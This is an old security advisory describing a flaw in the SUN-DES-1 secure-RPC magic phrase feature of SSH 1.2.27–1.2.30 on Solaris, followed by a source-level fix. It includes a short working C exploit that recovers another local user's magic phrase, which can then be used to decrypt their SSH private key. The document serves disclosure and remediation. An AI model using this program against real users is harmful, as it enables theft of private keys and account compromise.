COMMAND
SSH
SYSTEMS AFFECTED
SSH-1.2.27...30
PROBLEM
There is a bug in SSH-1.2.30 involving Secure RPC. The
explanation and bug was submitted by Richard Silverman and his
explanation of the bug is below. The SSH1 protocol is not
formally supported by SSH Communications Security. However, as a
service to the user community, they offer patch as a potential way
of addressing SSH1 related issues.
When using "secure-RPC" support to encrypt a secret key file with
the "SUN-DES-1 magic phrase," it is possible for SSH to generate
a "magic phrase" which is easily discoverable by other users on
the same host, or in the same NIS+ domain.
The SSH1 feature is called secure-RPC, but this is a little
misleading. SSH1 does not use secure-RPC. Rather, it takes
advantage of the cryptographic infrastructure present to support
secure-RPC.
On a Solaris system employing secure-RPC (for e.g. secure NFS or
NIS+), there is a host-independent user and host naming scheme
consisting of "netnames" contained in the "netid" table, and a
Diffie-Hellman key pair belonging to each netname, contained in
the "publickey" table. These tables may be kept in local files
(/etc/netid, /etc/publickey), or stored in NIS+. User netnames
look like "unix.<uid>@<domain>", and have an obvious mapping to
local usernames via the uid on a given host. A user's
Diffie-Hellman private key is stored encrypted with the user's
"network password," which may differ from the user's login
password on a particular host.
Solaris includes a system server process called "keyserv," which
is a caching and service agent for the secure-RPC private keys.
To load the private key into keyserv, the user runs a program
called "keylogin," which prompts for the network password. It
then retrieves the user's private key from the publickey table,
decrypts it with the password, and via an IPC mechanism stores
the key with keyserv. Keyserv will only allow processes with the
same uid as that which stored a key to access it.
The keyserv API includes two functions, key_encryptsession and
key_decryptsession. Their purpose is to support DES session key
exchange between secure-RPC principals. The key_encryptsession
routine takes a recipient netname N and DES key D. It looks up
the public key P belonging to N, and retrieves from keyserv the
private key K of the current user. It then encrypts D twice,
using both Diffie-Hellman keys and P and K. The
key_decryptsession routine performs the inverse operation on
behalf of the recipient, recovering D.
The SSH1 secure-RPC feature makes use of secure-RPC keys to
encrypt the a user's SSH private key file without requiring a
user-supplied passphrase. When ssh-keygen prompts the user for a
passphrase to encrypt a new key (or change the passphrase of an
existing key), it recognizes the special passphrase "SUN-DES-1".
Instead of using this token as the passphrase, it does the
following:
- Finds the netname U of the current user.
- Generates the string S: "ssh.XXXX", where XXXX is the user's uid
in hexadecimal, left-padded with zeros.
- Treats S as a DES key, padding it out on the right with 8 null
bytes.
- Calls key_encryptsession(U,S), producing S'. This encrypts S
with both the public and private keys of the calling user.
- Generates the string M, which is the (upper-case) ASCII
hexadecimal representation of the 64-bit S'. This is the
SUN-DES-1 "magic phrase."
Ssh-keygen then uses M as the passphrase to encrypt the user's
SSH private key in the usual way. The idea is that M is an
automatically-generated secure passphrase for the user, and that
an attacker would need the user's secure-RPC private key to
discover M. When other SSH components need to read a private key
file, they first generate M and attempt to decrypt the SSH private
key with M; if that fails, they prompt the user for a passphrase.
The problem occurs if we encrypt an SSH key using the SUN-DES-1
magic phrase, without having done a keylogin -- that is, keyserv
does not have my Diffie-Hellman private key. The Solaris 5.7 man
page for the key_encryptsession routine does not say explicitly
what happens in this case, though it does say that the routine
returns 0 on success and -1 on failure. One would assume that it
returns failure in this case. The SSH code does check the return
code and tells the user to do a keylogin if key_encryptsession
fails.
However, this does not always happen. We have seen the correct
behavior happen very occasionally while testing, but most of the
time, key_encryptsession returns success instead, and appears to
have encrypted its argument only with the public key of the target
netname, simply skipping the other encryption step. This produces
a magic phrase which can be generated easily by any other user on
the system. If the victim has uid U and netname V, the attacker
simply ensures that he does not have a private key available (by
doing a keylogout), then calls key_encryptsession(V,"ssh.<U>...")
as described above; this recovers the victim's magic phrase. The
attacker can then use this to decrypt the victim's private key
file, should he get hold of it through other means.
The user may not notice the problem immediately, as his SSH will
be able to automatically decrypt the private key file as expected,
as long as he remains "keylogged out".
To demonstrate this problem on a Solaris system with secure-RPC
keys in place, do a keylogout, then use ssh-keygen to generate a
new key (or change the passphrase on an existing key), setting
the passphrase to "SUN-DES-1". You will see the message:
"Using SUN-DES-1 magic phrase to encrypt the private key."
Then, compile the following short program:
#include <stdio.h>
#include <rpc/rpc.h>
void die (char *msg)
{
fprintf(stderr,"%s\n",msg);
exit(1);
}
main (int argc, char **argv)
{
char buf[MAXNETNAMELEN + 1];
des_block block;
uid_t uid;
char *netname;
if (argc < 3)
die("supply uid and netname");
sscanf(argv[1], "%d", &uid);
netname = argv[2];
memset(buf, 0, sizeof(buf));
snprintf(buf, sizeof(buf), "ssh.%04X", uid);
memcpy(block.c, buf, sizeof(block.c));
if (key_encryptsession(netname, &block) != 0)
die("key_encryptsession failed");
printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n",
uid,
netname,
ntohl(block.key.high),
ntohl(block.key.low));
}
Any user may now do a keylogout, then call this program with your
uid and netname as arguments, e.g. "exploit 12345
unix.12345@domain.org". It will print out your magic phrase,
which can be used directly to decrypt your private key file, e.g.
with "ssh -i", "ssh-add", etc.
SOLUTION
The quick fix is this: in the routine
userfile_get_des_1_magic_phrase (userfile.c:1150), change this
line:
if (getnetname(buf))
to this:
if (getnetname(buf) && key_secretkey_is_set())
key_secretkey_is_set returns whether or not the calling process
has a secret key registered with keserv. Unfortunately, this may
not be complete solution.
The patch for this is available at
http://www.ssh.com/products/ssh/patches.html